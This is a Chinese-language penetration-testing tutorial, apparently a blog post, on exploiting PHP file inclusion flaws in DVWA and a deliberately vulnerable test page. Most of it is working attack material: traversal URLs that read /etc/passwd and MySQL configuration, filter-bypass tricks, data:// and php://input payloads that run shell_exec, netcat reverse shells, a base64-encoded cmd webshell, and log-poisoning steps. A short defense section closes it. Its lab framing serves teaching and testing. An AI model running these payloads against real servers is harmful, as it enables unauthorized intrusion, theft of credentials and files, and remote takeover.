渗透测试-文件包含漏洞以及php伪协议的应用

渗透测试-文件包含漏洞以及php伪协议的应用

文件包含漏洞以及php伪协议的应用

文章目录

  • 文件包含漏洞以及php伪协议的应用
  • 前言
  • 一、文件包含漏洞
    • 本地包含案例演示
      • dvwa(低级)
      • dvwa(中级)
      • dvwa(高级)
  • 二、php伪协议
    • 1. data://text/plain
    • 2. php://input
    • 3. 本地文件包含漏洞利用技巧
  • 三、文件包含漏洞防御方法
  • 总结

前言

文件包含漏洞也属于注入漏洞的一种,但跟以往的注入漏洞方式又不一样,接下来给大家介绍该漏洞实现的几种方式,以及绕过方式,php伪协议是如何应用的,都会给大家做演示

一、文件包含漏洞

文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行,代码注入的典型代表就是文件包含File inclusion。文件包含可能会出现在jsp、php、asp等语言中。服务器通过函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。

常见的文件包含的函数如下:

PHP:include() 、include_once()、require()、require_once()、fopen()、readfile()

JSP/Servlet:ava.io.file()、java.io.filereader()

ASP:include file、include virtual

  • Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
  • Require:跟include唯一不同的是,当产生错误时候,include会继续运行而require停止运行。
  • Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。
  • Require_once:这个函数跟require函数作用几乎相同,与include_once和include类似。
  • php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。php4存在远程包含&本地包含,php5仅存在本地包含。

使用上面几个函数包含文件时,该文件将作为PHP代码执行,PHP内核并不在意被包含的文件是什么类型的。也就是说我们用这几个函数包含.jpg文件时,也会将其当做php文件来执行

只要allow_url_include=On(远程文件包含)、allow_url_fopen=On(本地文件包含)处于打开状态,就存在包含漏洞

顾名思义,就是在本机上包含文件的,叫做本地包含,若是page="外部的url"的话就是远程包含

本地包含案例演示

我们在kali的网页目录新建一个a.php文件,网页目录路径为/var/www/html
文件内的内容为:

<?php $page=$_GET[page]; include($page); ?>

是一个典型的存在包含漏洞的代码
我们打开本地浏览器访问
http://192.168.171.128/a.php?page=file:///etc/passwd
http://192.168.171.128/a.php?page=…/…/…/…/…/…/…/…/etc/passwd
http://192.168.171.128/a.php?page=…/…/…/…/…/…/…/…/etc/motd

在这里插入图片描述

我们访问mysql的配置文件
http://192.168.171.128/a.php?page=…/…/…/…/…/…/…/…/etc/mysql/my.cnf
在这里插入图片描述

这就是典型的文件包含漏洞,没有对特定的符号进行过滤和转义,就会出现这种漏洞。
我们使用dvwa作为演示,以dvwa低级为例

dvwa(低级)

在这里插入图片描述

http://192.168.171.128/dvwa/vulnerabilities/fi/?page=file1.php
我们输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=…/…/…/…/…/…/…/etc/passwd
(这里添加多个…/是为了能回到根目录)
在这里插入图片描述

因为不是php文件,没有执行,就直接显示在页面上了,如果是php文件的话,先执行,后显示

dvwa(中级)

在这里插入图片描述

当我们在输入这个的时候,发现没有回显,说明被过滤了
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=…/…/…/…/…/…/…/etc/passwd
在这里插入图片描述

我们可以进行双写进行绕过
(过滤…/和http://)
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/passwd
hthttp://tp://192.168.171.128/shell.php(反弹shell)黑名单过滤

我们重新输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/passwd

在这里插入图片描述

发现回显成功了

dvwa(高级)

当我们在输入双写的做法时,发现也没有回显了,是因为已经过滤了http头了,我们可以使用file:///etc/passwd进行绕过
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=file:///etc/passwd

在这里插入图片描述

发现回显成功,也成功绕过了。

二、php伪协议

1. data://text/plain

当我们本地写不进去,远程又包含不了,怎么办呢,这时我们就需要用到php伪协议了也称封装器,直接写入代码执行。

我们先输入明文试试
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,helloworld

在这里插入图片描述

发现回显成功了,就在左上角那里有个helloworld。
我们再试试输入执行命令的代码
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,<?php echo shell_exec("id");?>
在这里插入图片描述

回显成功了

我们尝试监听,并反弹shell
我们输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,<?php echo shell_exec("nc 192.168.171.128 1234");?>(监听的是1234端口)

在这里插入图片描述

连接上了,但是返回不了shell
我们尝试使用-e /bin/bash参数反弹shell
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,<?php echo shell_exec("nc 192.168.171.128 1234 -e /bin/bash");?>
在这里插入图片描述

反弹成功,万一要是在其他系统里反弹不了,怎么办,这里有另外一种方法,就是管道传输

我们输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,<?php echo shell_exec("nc 192.168.171.128 1234|/bin/bash|nc 192.168.171.128 1235 ");?>
这里解释一下这个参数是怎么回事
nc 192.168.171.128 1234|/bin/bash|nc 192.168.171.128 1235
(就是把目标机器的1234端口执行完后,将数据传输到/bin/bash(shell)后,经过shell执行后在将结果输送到1235端口进行输出)

我们看一下效果,我们先让两个端口进行监听

在这里插入图片描述

在这里插入图片描述

反弹shell成功,就是在左边输入命令,右边就会输出信息。

当然,在实际工作中,一旦出现了明文注入,就会被检测的到,这时我们就要进行编码绕过,这里进行base64编码演示一下

<?php echo shell_exec("id"); ?>(分号后面编码时要加空格)

http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,<?php echo shell_exec("id"); ?>

base64编码后
http://192.168.171.128/dvwa/vulnerabilities/fi/?
page=data://text/plain;base64,PD9waHAgZWNobyBzaGVsbF9leGVjKCJpZCIpOyA/Pg==

在这里插入图片描述

回显成功了
在这里插入图片描述

我们在输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,

<?php $var=shell_exec($_GET['cmd']); echo $var ?>

对<?php $var=shell_exec($_GET['cmd']); echo $var ?>进行编码后得到
PD9waHAgZWNobyBzaGVsbF9leGVjKCJpZCIpOyA/Pg==

我们重新输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain;base64,PD9waHAgJHZhcj1zaGVsbF9leGVjKCRfR0VUWydjbWQnXSk7IGVjaG8gJHZhciA/Pg==&cmd=id
(因为后面要通过cmd,输入东西,所以要加上&cmd=id)

在这里插入图片描述

发现也成功回显成功了。

2. php://input

这里就要用到burp抓包工具了
我们输入
http://192.168.171.1/dvwa/vulnerabilities/fi/?page=php://input

在这里插入图片描述

我们进行重发,插入一段php代码
<php phpinfo();?>
在这里插入图片描述

注入成功了,我们只要向其输入执行的命令语句,在右边就会显示出信息了。

3. 本地文件包含漏洞利用技巧

  • 包含用户上传的文件 (我们上传的一句话木马等等)
  • 包含data:// 或 php://input 等伪协议
  • 包含 Session 文件
  • 包含日志文件 ( 通过构造语句让服务器报错并将一句话随报错信息写入日志;找到日志文件路径,包含此文件;用菜刀连接;拿下网站的Webshell )

三、文件包含漏洞防御方法

在php中,文件包含需要配置 allow_url_include=On(远程文件包含)、allow_url_fopen=On(本地文件包含) 。所以,我们可以将其关闭,这样就可以杜绝文件包含漏洞了。但是,某些情况下,不能将其关闭,必须进行包含的话,我们可以使用白名单过滤的方法,只能包含我们指定的文件。这样,就可以杜绝文件包含漏洞了

总结

通过实验我们总结了文件包含漏洞以及php伪协议的相关利用方法,以及如何进行编码绕过的方法,大家好好复习一下。

                       

点击阅读全文

上一篇 2023年 6月 7日 am10:16
下一篇 2023年 6月 7日 am10:19